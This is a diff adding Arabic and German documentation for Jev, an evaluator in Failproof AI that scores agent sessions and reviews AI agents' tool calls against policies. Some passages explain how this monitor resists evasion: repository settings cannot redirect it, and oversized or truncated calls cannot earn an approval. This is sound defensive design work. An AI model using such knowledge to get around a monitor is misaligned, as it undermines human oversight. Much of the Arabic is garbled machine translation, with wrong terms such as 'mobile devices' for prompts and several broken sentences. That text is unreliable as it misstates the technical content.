+| `timeoutMs` | كم من الوقت ينتظر استدعاء أداة Jev قبل استخدام نتيجة القاعدة العادية. 100–10000، افتراضي 3000. |
+| `mode` | `enforce` (افتراضي)، `observe`، أو `off` (احتفظ بالإعدادات، لا تشغل Jev). |
+
+ثلاث قواعد تحميها:
+
+- **المالك فقط.** يتم كتابتها بأذونات `0600`. نسخة تقرأ أو تكتب أي مستخدم أو مجموعة أخرى يتم **رفضها**، والخطاطيف ترجع إلى القاعدة العادية حتى تشغل `chmod 600 ~/.failproofai/jev.json` أو `setup` مرة أخرى. يتم فحص الدليل أيضاً: `~/.failproofai` يجب ألا يكون **قابلاً للكتابة** من قبل أي شخص آخر، لأنه من يمكنه الكتابة هناك يمكنه استبدال الملف مهما كانت أذوناته. `setup` يأخذ تلك البتات إذا وجدها. `failproofai jev status` يقول عندما تم رفض الإعدادات ويعرض نقطة النهاية التي يسمّيها الملف: قد يكون شخص آخر قد غيّره، لذا تحقق من أنه ملكك قبل أن تفعل `chmod`. إعادة تشغيل `setup` على مثل هذا الملف يحمل مفتاحه المخزن فقط إلى API المزود الخاص به؛ أي نقطة نهاية أخرى يسمّيها تحتاج المفتاح مرة أخرى (`--key-stdin`)، أو `--base-url default` لإرسال الطلبات مرة أخرى إلى المزود.
+- **عام فقط.** لا يمكن لمستودع تشغيل Jev، الإشارة إليه في نقطة نهاية أخرى أو اختيار نموذجه: `.failproofai/jev.json` داخل مشروع يتم تجاهله، والمزود و URL والنموذج ومعرّف الحساب يُقرأ فقط من هذا الملف — أبداً من البيئة، التي يمكن لإعدادات وكيل المستودع تعيينها. (`FAILPROOFAI_HOME` ليست طريقة حول ذلك: يحرّك دليل failproofai بالكامل، سياساتك المضمنة، بدلاً من إعادة توجيه Jev بمفرده.)
+- **قد يأتي المفتاح وحده من البيئة.** إذا لم يكن الملف يحتوي على `apiKey`، يوفّر `FAILPROOFAI_JEV_API_KEY` له لتلك الجلسة (`setup --key-from-env` يكتب ملفاً كهذا). لا يستبدل أبداً مفتاحاً يملكه الملف، ولا يمكنه تشغيل Jev بدون الملف. حيث لا تُعيّن المتغيّر، Jev ببساطة معطّل لتلك القذيفة: `failproofai jev status` يقول ذلك، يخرج 0 ويترك الإعدادات وحدها (`status --json` يُبلّغ `"status": "key-missing"` مع `"reason": "no-env-key"`). خادم `failproofaid` لا يرى بيئة القذيفة الخاصة بك، لذا على جهاز تم إعداده باستخدام `failproofai config`، احتفظ بالمفتاح في الملف.
+
+## أي Jev يجيب
+
+تم معايرة عتبات قرار Failproof AI على Jev 1.13، لذا يتم استخدام إجابة فقط عندما تأتي من تلك الأسرة: `jev-1.13.x`، أو `typesafe/jev-1.13-` من OpenRouter. حيث يسمّي المزود Jev بالاسم المستعار فقط ولا يُبلّغ عن إصدار (Vercel، و Cloudflare عندما لا يقول)، يتم استخدام الإجابة وتسجيلها كغير تم التحقق منها. نقطة `custom` يجب أن تُبلّغ عن النموذج الذي أجاب؛ الاستثناء الوحيد هو اسم `--model` غير مُصدّر قمت بإعداده، الذي، معاد صياغته، يتم تسجيله كغير تم التحقق منه بنفس الطريقة. إجابة تُبلّغ عن أي إصدار آخر، أو إجابة `custom` لا تُبلّغ أياً، لا يتم استخدامها: هذا الاستدعاء يعود إلى القاعدة العادية مع السبب `model-mismatch`.
+
+## عندما لا يستطيع Jev الإجابة
+
+كل من هذه يعود إلى نتيجة القاعدة العادية لهذا الاستدعاء ويتم تسجيله مع سببه، والذي `failproofai jev status` يجمع:
+
+| السبب | السبب الجذري |
+| --- | --- |
+| `timeout` | لا إجابة ضمن `timeoutMs`. |
+| `http-429` | المزود وضع حد معدل للمفتاح. |
+| `rate-limited` | مُحدِّد معدل Failproof AI الخاص به عقد الاستدعاء قبل إرساله: 5 طلبات في الثانية، في انفجارات تصل إلى 5، وليس لحظة بعد أن يجيب المزود `429`. وليس المزود. |
+| `http-500`، `http-502`، `http-503`، ... | خطأ خادم عند المزود. يتم تسجيل الحالة الدقيقة. |
+| `out-of-credits` | HTTP 402: حساب المزود ليس لديه رصيد متبقٍ. |
+| `provider-refused` | HTTP 402 من Cloudflare يقول "Model execution failed (Payment error)": رفض المزود تشغيل النموذج على هذا الطلب. عادة ليس فواتير، لذا ملء الرصيد لن يحركها. |
+| `http-401`، `http-403` | تم رفض المفتاح. |
+| `http-404` | لا شيء يُقدّم عند `/systemone`، لذا URL الأساسي خاطئ — `/systemone` يُلحق به، وكل مزود يخدمه على جذر إصداره. `failproofai jev models` يعرض ما تخدم نقطة النهاية. |
+| `network` | لا يمكن الوصول إلى نقطة النهاية. |
+| `http-301`، `http-302`، `http-307`، `http-308` | أجابت نقطة النهاية بإعادة توجيه. لا يتم اتباع عمليات إعادة التوجيه أبداً، لذا الإجابة تأتي فقط من URL في الإعدادات الخاصة بك؛ ضع `--base-url` على URL النهائي. |
+| `malformed` | أجابت نقطة النهاية، لكن ليس بإجابة Jev — جسم ليس JSON، أو واحد بدون إجابات فيه. |
+| `cloudflare-error`، `cloudflare-incomplete` | أبلّغت مظروف Cloudflare عن فشل، أو مهمة لم تنتهِ. |
+| `model-mismatch` | أجاب إصدار Jev بخلاف 1.13، أو نقطة `custom` لم تقل أي نموذج أجاب. |
+| `request-cut` | **ليس انقطاعاً.** أجاب Jev؛ تم عرض جزء من الاستدعاء فقط، لذا إجابته لم تلغِ شيئاً. انظر [عندما أجاب Jev، لكن ليس على الاستدعاء بالكامل](#when-jev-answered-but-not-on-the-whole-call). |
+
+`failproofai jev status` يمكنه عرض بعض الأسباب الأندر أيضاً، مثل `upstream-error` (كانت الإجابة تحمل خطأ المزود الخاص به) أو `config`، ويجمع أي سبب لا يمكنه تسميته كـ `other`.
+
+`request-cut` في هذا الجدول لأن `failproofai jev status` يجمعه مع الباقي، ولأنه أيضاً يترك كل رفض قائماً. هو السبب الوحيد هنا الذي لا يقول شيئاً عن مزودك: وصل الطلب وأجاب Jev. بخلاف كل صف فوقه، تلك الإجابة لا تزال تحسب — رفض أو تحذير Jev الخاص به ينطبق على نتيجة القاعدة العادية بدلاً من أن يتم تجاهله. لذا تشغيل منهم يعني استدعاءات تصل إلى المقيّم كبيرة جداً لإرسالها كاملة، وليس أن نقطة النهاية الخاصة بك سيئة، وملء الرصيد أو تغيير URL لن يحركها.
+
+## عندما أجاب Jev، لكن ليس على الاستدعاء بالكامل
+
+شيئان آخران يمكنهما أن يحدثا، ولا أحدهما يقول أن Jev فشل في الإجابة. كلاهما يتعلق بكم من الاستدعاء، أو من المحادثة، ناسب في طلب واحد.
+
+**جزء من الاستدعاء نفسه لم يناسب.** يُرسل استدعاء أداة داخل ميزانية ثابتة، واستدعاء كبير جداً — `Write` كبير جداً، جسم MCP ضخم، أمر مبطّن إلى الحد الأقصى — يُرسل بما ناسب. لا يزال Jev يجيب، وإجابته لا تزال تحسب: رفضه أو تحذيره الخاص به ينطبق كالمعتاد. ما لا يمكنه فعله هو **إلغاء** أي شيء، لأن حكماً معطى على جزء من استدعاء ليس حكماً على الاستدعاء. لذا يبقى كل رفض سياسة قائماً، ويتم تسجيل الاستدعاء كرجوع مع السبب `request-cut`، والذي `failproofai jev status` يجمعه جنباً إلى جنب مع الأسباب أعلاه. القاعدة التي يعطيكها: جعل الاستدعاء أكبر يمكنه أن يكلفه التصريحات، وليس أبداً شراء واحد.
+
+**رسالة لم تناسب.** موجه طويل لصقته، آخر رسالة الوكيل، أو موجه كان لقاء هذا المقيّم الخاص به قد حده بالفعل. **لا شيء يتغير**: يتم الحكم على الاستدعاء وإلغاء تصريحه وتسجيله بالضبط كأي آخر، وهو غير مُحسب كرجوع. لا يحدد طول ما تكتبه أبداً حكماً، ولا يمكن للقطع أن يصنع موافقة: حيث وصل موجه بالفعل مقيّد، لا يمكن استخلاص "لم تطلب هذا" على الإطلاق، بدلاً من أن يصبح واحداً.
+
+الخط بين الاثنين هو من كتب النص. الاستدعاء هو الوكيل، وقاعدة أن تدع طوله يطرح شدة ستكون قاعدة يمكن للوكيل استخدامها؛ موجهك هو لك، ومعاملة طوله كإشارة فقط تعاقب بدء موجه أو تتبع كومة.
+
+## ما يترك الجهاز
+
+لكل استدعاء أداة يقيّمها Jev، يذهب طلب واحد إلى مزودك، حاملاً:
+
+- استدعاء الأداة نفسه، مع أسرار مثل مفاتيح API وعلامات حاملة ومهام `KEY=` محررة؛
+- الأجهزة المحمولة الحديثة التي كتبتها، مع نص أضاف وكيل حراستك إلى آخره محذوف؛
+- آخر رسالة الوكيل قبل موجهك الأخير، مُصنّف كمكتوب وكيل؛
+- حقائق محسوبة محلياً، مثل ما إذا كان المسار داخل المشروع — الواحد كانت الجلسة فيه عند أول استدعاء مفحوص، [مثبّت للجلسة](/ar/reference/jev-intent#the-project-root) — والفرع المحلي الحالي.
+
+يذهب فقط إلى نقطة النهاية في الإعدادات الخاصة بك، تحت مفتاحك.
+
+## أطفئه
+
+```bash
+failproofai jev remove
+```
+
+هذا يحذف `~/.failproofai/jev.json`. من استدعاء الأداة التالي، تشغيل الخطاطيف السياسات العادية بالضبط كما قبل. المخازن لكل جلسة تحت `~/.failproofai/state/semantic/` (الأجهزة المحمولة المسجلة في `sessions/`، جذور المشروع في `roots/`) تُترك في مكانها وتتقادم. لتوقيف السؤال عن Jev لكن الاحتفاظ بالإعدادات، استخدم `failproofai jev setup --mode off` بدلاً من ذلك.
+
+## مرجع الأمر
+
+| الأمر | النتيجة |
+| --- | --- |
+| `failproofai jev --url --key-stdin` | إعدادات به في أمر واحد؛ يأتي المزود من مضيف URL |
+| `failproofai jev --url --token ` | نفس، مع المفتاح على سطر الأوامر — السجل قائمتك العملية ترى |
+| `failproofai jev setup --provider --key-stdin` | اكتب الإعدادات من مفتاح أنبوب على stdin |
+| `failproofai jev setup --provider ` | نفس، يسأل عن المفتاح في موجه مقنع |
+| `failproofai jev setup --key-from-env` | لا تخزّن مفتاحاً؛ اقرأ `FAILPROOFAI_JEV_API_KEY` لكل جلسة |
+| `failproofai jev setup --mode observe` | بدّل وضعاً (`enforce`، `observe` أو `off`)، مع الاحتفاظ بالمفتاح المخزن |
+| `failproofai jev setup --model ` / `--base-url ` | تجاوز النموذج أو قاعدة API؛ `default` يمسح التجاوز |
+| `failproofai jev setup --timeout-ms ` | غيّر الميزانية لكل استدعاء |
+| `failproofai jev status [--json]` | الإعدادات والأذونات والنشاط الأخير؛ ليس المفتاح أبداً |
+| `failproofai jev test [--json]` | طلب حي واحد: الكمون والإصدار الذي أجاب |
+| `failproofai jev models [--provider ] [--url ] [--json]` | معرّفات النموذج التي يُبلّغ عنها `/models` نقطة النهاية، تحديد المُعدّ |
+| `failproofai jev remove` | احذف الإعدادات؛ Jev معطّل |
\ No newline at end of file
diff --git a/docs/ar/reference/jev.mdx b/docs/ar/reference/jev.mdx
new file mode 100644
index 000000000..8496bf9f0
--- /dev/null
+++ b/docs/ar/reference/jev.mdx
@@ -0,0 +1,22 @@
+---
+title: "مرجع تكامل Jev"
+description: "الإعدادات والموفرون والمفاتيح وبيانات الطلب وسلوك الفشل لـ Jev."
+icon: "braces"
+---
+
+لدى Jev استخدامان في Failproof AI:
+
+| الاستخدام | متى يتم تشغيله | ما يعيده | ابدأ من هنا |
+| --- | --- | --- | --- |
+| تقييم الجلسة | بعد انتهاء الجلسة | درجة لسؤال ذي إجابة ثابتة | [تقييمات Jev](/ar/evaluations/jev) |
+| مراجعة سياسة استدعاء الأداة | قبل تشغيل استدعاء أداة محمي | حكم إلى جانب السياسات المثبتة | [سياسات Jev](/ar/policies/jev) |
+
+## صفحات المرجع
+
+| الموضوع | التفاصيل |
+| --- | --- |
+| [أسئلة التقييم](/ar/reference/jev-evaluations) | معايير منطقية وذات درجات مرتبة، والنتائج والحدود والملء بأثر رجعي. |
+| [مقارنة الموفرين وإعداد المفتاح الخاص](/ar/reference/jev-providers) | TypeSafe وOpenRouter وVercel وCloudflare والنقاط النهائية المخصصة؛ استدلال URL ومعرفات النموذج و`jev.json` والأوضاع وأكواد الرجوع. |
+| [مسار FailproofAI Cloud](/ar/reference/jev-cloud) | أذونات المفتاح الآلي وإعداد المراقبة التلقائي وحدود الاستخدام وحالة الاتصال ومعالجة البيانات. |
+
+يتم عرض أوامر CLI المحلية في [مرجع Failproof AI CLI](/ar/reference/failproof-cli). يصف [مرجع لوحة التحكم المحلية](/ar/reference/local-dashboard#set-up-jev) إعدادات Jev وعرض الأنشطة به.
\ No newline at end of file
diff --git a/docs/ar/sessions/sentiment.mdx b/docs/ar/sessions/sentiment.mdx
new file mode 100644
index 000000000..a15074e02
--- /dev/null
+++ b/docs/ar/sessions/sentiment.mdx
@@ -0,0 +1,43 @@
+---
+title: "تحليل المشاعر"
+description: "ابحث عن الرسائل المحبطة والمربكة والتصحيحية باستخدام درجات المشاعر من Jev."
+icon: "smile"
+---
+
+يقيّم Jev كل رسالة يرسلها شخص ما إلى وكلائك من 0 إلى 100 لأربعة مشاعر — **غاضب**، **محبط**، **سعيد** و**مربك** — وثلاث إشارات حول أداء الوكيل:
+
+- **التصحيح**: يقول الشخص أن الوكيل أخطأ في شيء ما.
+- **تم الحل**: يؤكد الشخص أن الوكيل حل مشكلته.
+- **الشك**: يطرح الشخص تساؤلات حول ما إذا كانت إجابة الوكيل صحيحة، أو ما إذا كان قد قام بالعمل فعلاً.
+
+استخدم تحليل المشاعر للعثور على محادثات حيث يفقد الأشخاص صبرهم، والوكلاء الذين يستمر تصحيحهم، والردود التي تحقق نتائج جيدة. هذا تقييم مدمج من Jev؛ لا تحتاج إلى إنشاء تقييم. لسؤالك ذي الإجابة الثابتة، [أنشئ تقييم Jev](/ar/evaluations/jev).
+
+
+ المشاعر مُطفأة حتى يقوم المسؤول بتشغيلها للمؤسسة. يقدم Jev طلب تقييم واحد لكل رسالة ويتلقى تلك الرسالة مع رد الوكيل قبلها. يستخدم التقييم ميزانية نموذج مؤسستك.
+
+
+## تشغيله
+
+1. اذهب إلى **الإدارة → الإعدادات**.
+2. ضمن **مشاعر مدخلات المستخدم**، قم بتشغيله **وحفظ**.
+
+يتم تقييم الرسائل من آخر يوم أولاً. بعد ذلك، يتم تقييم الرسائل الجديدة في غضون دقيقة أو دقيقتين من وصولها.
+
+## ابحث عن محادثة للمراجعة
+
+افتح **المراقبة → المشاعر**. قم بالتصفية حسب الوقت أو البيئة أو الوكيل أو معرّف الجلسة. يحسب الرأس الرسائل والجلسات، ويظهر عدد الرسائل **المُشار إليها بعلم**، ويسمي الإشارة الأعلى. يتم وضع علم على الرسالة عندما تصل درجة الغضب أو الإحباط أو التصحيح أو الارتباك أو الشك إلى 35 من أصل 100.
+
+
+
+استخدم **الدرجة بمرور الوقت** للمقارنة بين الإشارات. اختر الدرجات المراد عرضها، ثم حدد نقطة لرؤية رسائل فترة الوقت تلك. يوضح جدول **حسب الوكيل** حيث تتركز الإشارة. في **الرسائل**، قم بالترتيب حسب أقوى درجة سلبية أو حدد درجة واحدة. افتح رسالة في جلستها لقراءة المحادثة المحيطة قبل تحديد ما فشل.
+
+
+
+## الرسائل التي يتم تقييمها
+
+فقط الرسائل التي كتبها شخص:
+
+- الرسائل التي تسجلها وكلاؤك المخصصون كمدخلات من المستخدم باستخدام SDK.
+- النصوص المكتوبة في Claude Code و Codex و OpenCode و pi و Hermes و OpenClaw، عندما يتم إرسال نسخ الجلسة (الإعداد الافتراضي). الوظائف المجدولة والتعليمات المحقونة والتحويلات بين الوكلاء الفرعيين والنصوص الأخرى التي كتبها وقت تشغيل الوكيل نفسه لا يتم تقييمها. وكذلك الأشياء غير التفاعلية مثل `claude -p` و `codex exec` و `hermes -z`: كتبت برنامج ما تلك النصوص، وليس شخصاً.
+
+يحكم التقييم على كلمات الشخص نفسه. التعليمات القصيرة والحادة مثل إصلاح خطأ ما لا تُحسب كغضب، وطرح سؤال لا يُحسب كارتباك. الطلب الجديد ليس تصحيحاً، والشكر بمفرده لا يُحسب كحل.
\ No newline at end of file
diff --git a/docs/ar/start/use-jev.mdx b/docs/ar/start/use-jev.mdx
new file mode 100644
index 000000000..ac20c6083
--- /dev/null
+++ b/docs/ar/start/use-jev.mdx
@@ -0,0 +1,63 @@
+---
+title: "استخدام Jev"
+description: "قم بإعداد تقييمات Jev للجلسات المكتملة أو سياسات Jev لمراجعة استدعاءات الأدوات المباشرة."
+icon: "sparkles"
+---
+
+يساعد Jev في نقطتين أثناء تشغيل الوكيل: تقييم جلسة مكتملة مقابل إجابات معروفة، أو مراجعة استدعاء أداة في سياق ما طلبته من الوكيل.
+
+
+
+ استخدم تقييم Jev عندما يمكن تقييم جلسة مكتملة مقابل سؤال بعدة إجابات معروفة، مثل "هل طلب العميل استرجاع أمواله؟ أجب بنعم أو لا." يساعدك في العثور على أنماط عبر الجلسات.
+
+ ## إنشاء تقييم
+
+ في لوحة تحكم Cloud، افتح **Analyze → eval authoring → new eval**. أدخل سؤالاً واحداً ذا إجابة ثابتة، اختر **draft**، وتحقق من أنه اختار درجة مصنف. [اختبره](/ar/evaluations/test) على جلسات حقيقية، ثم انشره.
+
+ 
+
+ ## قراءة الدرجات
+
+ بعد اكتمال جلسة جديدة، افتح **Observe → Evaluations** أو استخدم واجهة سطر الأوامر في Cloud:
+
+ ```bash
+ fp evals --since 7d
+ fp evals --aggregate --since 7d
+ ```
+
+ تقرأ واجهة سطر الأوامر الدرجات؛ إنشاء تقييم Jev يستخدم لوحة التحكم حالياً. راجع [تقييمات Jev](/ar/evaluations/jev) لأنواع الأسئلة والأمثلة.
+
+
+ استخدم مراجعة سياسة Jev عندما تحتاج سياسة مطابقة السلاسل النصية إلى سياق طلبك لتقرير ما إذا كان استدعاء الأداة آمناً. ابدأ في وضع **observe** حتى تتمكن من فحص إجابات Jev بينما تقرر سياساتك المثبتة كل استدعاء.
+
+ تأتي فحوصات Jev من حزمة؛ Failproof AI لا تشحن أي منها. حتى تثبتها، لا يسأل Jev عن أي شيء، حتى عند تكوينها:
+
+ ```bash
+ failproofai policies add FailproofAI/jev-policies
+ ```
+
+ ## إعداد Cloud Jev
+
+ في لوحة تحكم Cloud، افتح **Administration → Keys** وأنشئ مفتاحاً باستخدام إعداد **machine**. استخدمه مع `failproofai config` كما هو موضح في [البداية السريعة](/ar/start/quickstart). على جهاز بدون تكوين Jev موجود، يفعل هذا Cloud Jev في وضع observe. تحقق من الاتصال باستخدام:
+
+ ```bash
+ failproofai jev status
+ failproofai jev test
+ ```
+
+ ## استخدام نقطة نهاية خاصة بك
+
+ في لوحة التحكم المحلية، افتح **Settings → Jev**. اختر المزود، والصق رمزه، اختر **observe**، وقم بتشغيل Jev.
+
+ 
+
+ أو قم بتكوين واختبار نقطة النهاية الخاصة بك من المحطة الطرفية:
+
+ ```bash
+ failproofai jev --url https://api.typesafe.ai/v1 --mode observe --key-stdin < ~/typesafe.key
+ failproofai jev test
+ ```
+
+ اطلب من وكيل مُرتبط استخدام أداة قراءة الملفات على `README.md`. تأكد من أن استدعاء الأداة هذا يظهر في الجلسة، ثم افحصه ضمن **Policies → Activity** في لوحة التحكم المحلية. بمجرد أن تبدو نتائج observe صحيحة، يشرح [سياسات Jev](/ar/policies/jev) متى يتم الفرض. للحصول على تفاصيل المزود والتكوين، راجع [مرجع التكامل](/ar/reference/jev).
+
+
\ No newline at end of file
diff --git a/docs/de/evaluations/jev.mdx b/docs/de/evaluations/jev.mdx
new file mode 100644
index 000000000..b41a53e25
--- /dev/null
+++ b/docs/de/evaluations/jev.mdx
@@ -0,0 +1,28 @@
+---
+title: "Jev-Evaluierungen"
+description: "Verwende Jev, um eine abgeschlossene Sitzung anhand einer Frage mit bekannten Antworten zu bewerten."
+icon: "list-checks"
+---
+
+Eine Jev-Evaluierung liest eine **abgeschlossene Sitzung** und vergibt einen Score von 0 bis 1. Nutze sie, wenn die Antwort im Voraus bekannt ist – etwa „Hat der Kunde Dringlichkeit signalisiert?" oder „Wie frustriert war der Kunde?" Sie hilft dir, Muster über mehrere Durchläufe hinweg zu erkennen; sie unterbricht keinen Tool-Aufruf. Für Entscheidungen, die **vor** der Ausführung eines Tools getroffen werden, verwende [Jev-Richtlinien](/de/policies/jev).
+
+## Evaluierung im Dashboard erstellen
+
+1. Öffne **Analyze → Eval Authoring** und wähle **New Eval**.
+2. Beschreibe eine Frage mit ihren möglichen Antworten. Zum Beispiel: „Hat der Agent eine Rückerstattung versprochen, bevor er die Rückerstattungsrichtlinie geprüft hat? Antworte mit Ja oder Nein." Wähle **Draft** und überprüfe, ob das Ergebnis ein Klassifikations-Score ist.
+3. [Teste die Evaluierung](/de/evaluations/test) anhand aktueller Sitzungen und [deploye sie anschließend](/de/evaluations/deploy). Neu abgeschlossene Sitzungen werden dann bewertet; nutze [Backfill](/de/evaluations/deploy#score-sessions-you-already-have), wenn du auch historische Daten benötigst.
+
+
+
+Der Assistent kann zwischen Code, Jev-Klassifikation und einem [Judge](/de/evaluations/judge) wählen. Überprüfe die Wahl des Assistenten, bevor du deployest. Jev liefert einen Score ohne textliche Begründung; wähle einen Judge, wenn du eine Erklärung benötigst. Siehe die [Jev-Evaluierungsreferenz](/de/reference/jev-evaluations) für Fragetypen und Score-Grenzen.
+
+## Scores auslesen
+
+Öffne **Observe → Evaluations**, um das Ergebnis nach Agent und Zeitraum darzustellen. Über ein Terminal kann die Cloud CLI dieselben Ergebnisse abrufen:
+
+```bash
+fp evals --since 7d
+fp evals --aggregate --since 7d
+```
+
+Die Cloud CLI liest Ergebnisse aus; Authoring und Deployment erfolgen im Dashboard. Siehe die [Cloud-CLI-Referenz](/de/reference/cloud-cli#evaluations) für Filteroptionen.
\ No newline at end of file
diff --git a/docs/de/evaluations/judge.mdx b/docs/de/evaluations/judge.mdx
new file mode 100644
index 000000000..32b9d6b7b
--- /dev/null
+++ b/docs/de/evaluations/judge.mdx
@@ -0,0 +1,91 @@
+---
+title: "LLM-Richter"
+description: "Bewerte Sitzungen nach Kriterien, die Code nicht messen kann — Korrektheit, Ton, ob der Agent eine Richtlinie eingehalten hat — indem du beschreibst, wie gut aussieht, und ein Modell das Gespräch lesen lässt."
+icon: "scale"
+---
+
+Eine gehostete Python-Auswertung kann zählen und vergleichen: wie viele Tool-Aufrufe, wie viele Fehler, wie lange eine Sitzung gedauert hat. Sie kann dir nicht sagen, ob eine Antwort *korrekt* war, ob eine Antwort unhöflich war oder ob der Agent eine Richtlinie geprüft hat, bevor er gehandelt hat.
+
+Ein **LLM-Richter** kann das. Du beschreibst in einfacher Sprache, wie gut aussieht, und ein Modell liest die Sitzung und gibt einen Wert zwischen 0 und 1 mit Begründung zurück.
+
+
+Ein Richter kostet für jede ausgewertete Sitzung einen Modellaufruf, während eine Code-Auswertung nichts kostet. Verwende einen Richter nur für Fragen, bei denen das Gespräch *verstanden* werden muss — und gib ihm eine Bedingung, damit er nur auf die Sitzungen angewendet wird, um die es bei der Frage tatsächlich geht.
+
+
+## Welche Variante brauche ich?
+
+| Frage | Verwende |
+| --- | --- |
+| Hat es dasselbe Tool zweimal aufgerufen? | Code |
+| Wie viele Fehler gab es? | Code |
+| War die Sitzung kürzer als 30 Sekunden? | Code |
+| Hat der Kunde Dringlichkeit ausgedrückt? | [Klassifikator](/de/evaluations/jev) |
+| Wie frustriert war der Kunde? | [Klassifikator](/de/evaluations/jev) |
+| War die Antwort tatsächlich korrekt? | **Richter** |
+| War die Antwort unhöflich oder abweisend? | **Richter** |
+| Hat er die Rückgaberichtlinie geprüft, bevor er eine Rückerstattung versprochen hat? | **Richter** |
+
+Die Faustregel: **Zählbares → Code, Antworten, die du im Voraus aufzählen kannst → [Klassifikator](/de/evaluations/jev), braucht eine Erklärung → Richter.** Ein Richter ist derjenige, der in Prosa beschreibt, was er gesehen hat; greife darauf zurück, wenn die Zahl jemanden fragen lässt „warum?".
+
+Du musst nicht im Voraus entscheiden. Beschreibe, was du gemessen haben möchtest, und der Assistent wählt aus und erklärt dir, was er gewählt hat und warum. Du kannst es ändern.
+
+## Einen Richter erstellen
+
+1. Gehe zu **Analyze → eval authoring** und wähle **new eval**.
+2. Beschreibe, was bewertet werden soll, und wähle **draft**.
+3. Überprüfe die **Kriterien**, den **Schwellenwert** und die **Bedingung**, dann deploye.
+
+### Kriterien
+
+Ein oder zwei Sätze, als Anforderung formuliert, nicht als Frage:
+
+> Der Assistent darf keine Rückerstattung versprechen oder genehmigen, ohne zuvor die Rückgaberichtlinie geprüft zu haben.
+
+Sei konkret darüber, was zu einem *Misserfolg* führen würde. „War die Antwort gut?" liefert dir eine bedeutungslose Zahl; der obige Satz liefert dir eine, auf die du reagieren kannst.
+
+### Schwellenwert
+
+Der Wert, ab dem eine Sitzung als bestanden gilt. `0.7` ist ein sinnvoller Ausgangspunkt. Der vollständige Wert zwischen 0 und 1 wird immer gespeichert, sodass der Schwellenwert nur über Bestanden/Nicht bestanden entscheidet — du kannst die Verteilung einsehen und anpassen.
+
+### Bedingung
+
+Dieselbe Python-Bedingung wie bei jeder anderen Auswertung, und sie ist hier noch wichtiger. Ohne eine Bedingung läuft der Richter auf **jeder** Sitzung in deiner Organisation — pro Sitzung ein Modellaufruf:
+
+```python
+session.count("tool_use") > 0
+```
+
+```python
+session.agent_id == "support-bot" and session.count("error") > 0
+```
+
+Das Dashboard warnt dich, wenn du einen Richter ohne Bedingung deployst. Das ist manchmal richtig — ein Agent mit geringem Volumen, den du vollständig beurteilt haben möchtest — aber es sollte eine bewusste Entscheidung sein, kein Versehen.
+
+## Was der Richter sieht
+
+Das Gespräch, als Gesprächsrunden, bei langen Sitzungen mit den neuesten zuerst:
+
+- was der Benutzer gesagt hat
+- was der Assistent geantwortet hat
+- **jeden Tool-Aufruf des Agenten und was der Aufruf zurückgegeben hat, in Reihenfolge**
+
+Dieser letzte Punkt ist es, der die Frage „hat er X *vor* Y getan" fair macht. Ein fehlgeschlagener Tool-Aufruf wird als Fehler dargestellt, sodass auch „hat er sich nach einem Fehler angemessen erholt" funktioniert.
+
+Sehr lange Sitzungen werden gekürzt, um in den Kontext des Modells zu passen. Wenn das passiert, wird es in der Begründung explizit erwähnt — du wirst nie ein Urteil sehen, das auf einem Teil einer Sitzung basiert, aber als vollständiges dargestellt wird.
+
+## Ergebnisse lesen
+
+Ein Richter erzeugt wie jede andere bewertete Auswertung einen **Wert**, sodass er genauso in Diagrammen, Filtern und Benachrichtigungen verwendet werden kann. Neben der Zahl speichert er die **Begründung** des Richters — den Absatz, der erklärt, was er gesehen hat. Lies diesen zuerst, wenn dich ein Wert überrascht; es ist meist entweder eine wirklich interessante Sitzung oder ein Hinweis, dass die Kriterien geschärft werden müssen.
+
+Werte sind bei eindeutigen Fällen stabil, aber nicht bit-für-bit deterministisch. Behandle einen einzelnen Grenzwert-Score als Anlass, die Sitzung zu lesen, nicht als abschließendes Urteil.
+
+## Einschränkungen
+
+- **Tests sind noch nicht verfügbar.** Ein Probelauf hat keine Sitzungszuweisung dahinter, und diese Zuweisung ist das, was die Ausgabe deines Modellbudgets autorisiert — daher gibt es nichts, dem ein Testaufruf zugerechnet werden kann. Deploye gegen eine enge Bedingung und lies die ersten Ergebnisse.
+- **Nachträgliche Auswertung ist nicht verfügbar.** Eine Code-Auswertung über Monate von Verlaufsdaten nachträglich durchzuführen ist kostenlos; dasselbe mit einem Richter würde dein gesamtes Budget in Minuten verbrauchen.
+- **Das Bearbeiten der Kriterien veröffentlicht eine neue Version.** Alte und neue Werte sind nicht vergleichbar und werden daher getrennt statt in einer gemeinsamen Trendlinie gemischt.
+- **Ein Richter erzeugt immer einen Wert**, niemals eine Metrik oder eine Assertion.
+
+## Wenn dein Budget aufgebraucht ist
+
+Richter verbrauchen das Modellbudget deiner Organisation. Wenn es erschöpft ist, werden Richter-Auswertungen mit einem klaren Grund gestoppt, anstatt stillschweigend zu scheitern, und **Code-Auswertungen laufen weiterhin normal**. Erhöhe das Budget und sie werden bei der nächsten Sitzung fortgesetzt.
\ No newline at end of file
diff --git a/docs/de/policies/authority.mdx b/docs/de/policies/authority.mdx
new file mode 100644
index 000000000..0c174d331
--- /dev/null
+++ b/docs/de/policies/authority.mdx
@@ -0,0 +1,144 @@
+---
+title: "Policy-Autorität"
+description: "Welche Policy-Urteile der semantische Jev-Evaluator aufheben darf und welche endgültig sind."
+icon: "scale"
+---
+
+Wenn Sie die [Jev Policy Review](/de/policies/jev) über Failproof AI Cloud oder Ihren eigenen Schlüssel konfigurieren, wird jeder überwachte Tool-Aufruf von den ausgeführten Policies und von Jev beurteilt. Jev fragt dabei, was der Aufruf tatsächlich tut und ob die Person, die die Aufgabe eingegeben hat, darum gebeten hat. Die **Autorität** jeder Policy entscheidet, was passiert, wenn beide unterschiedlicher Meinung sind.
+
+Ohne konfiguriertes Jev hat die Autorität keine Auswirkung. Jede Policy wird genau so durchgesetzt wie bisher.
+
+## Hard und Reviewable
+
+- **Hard** ist der Standard. Das Urteil einer Hard-Policy (deny oder Anweisung) ist endgültig: Jev kann es nicht aufheben, und ein Hard-Deny stoppt den Aufruf, ohne auf Jev zu warten.
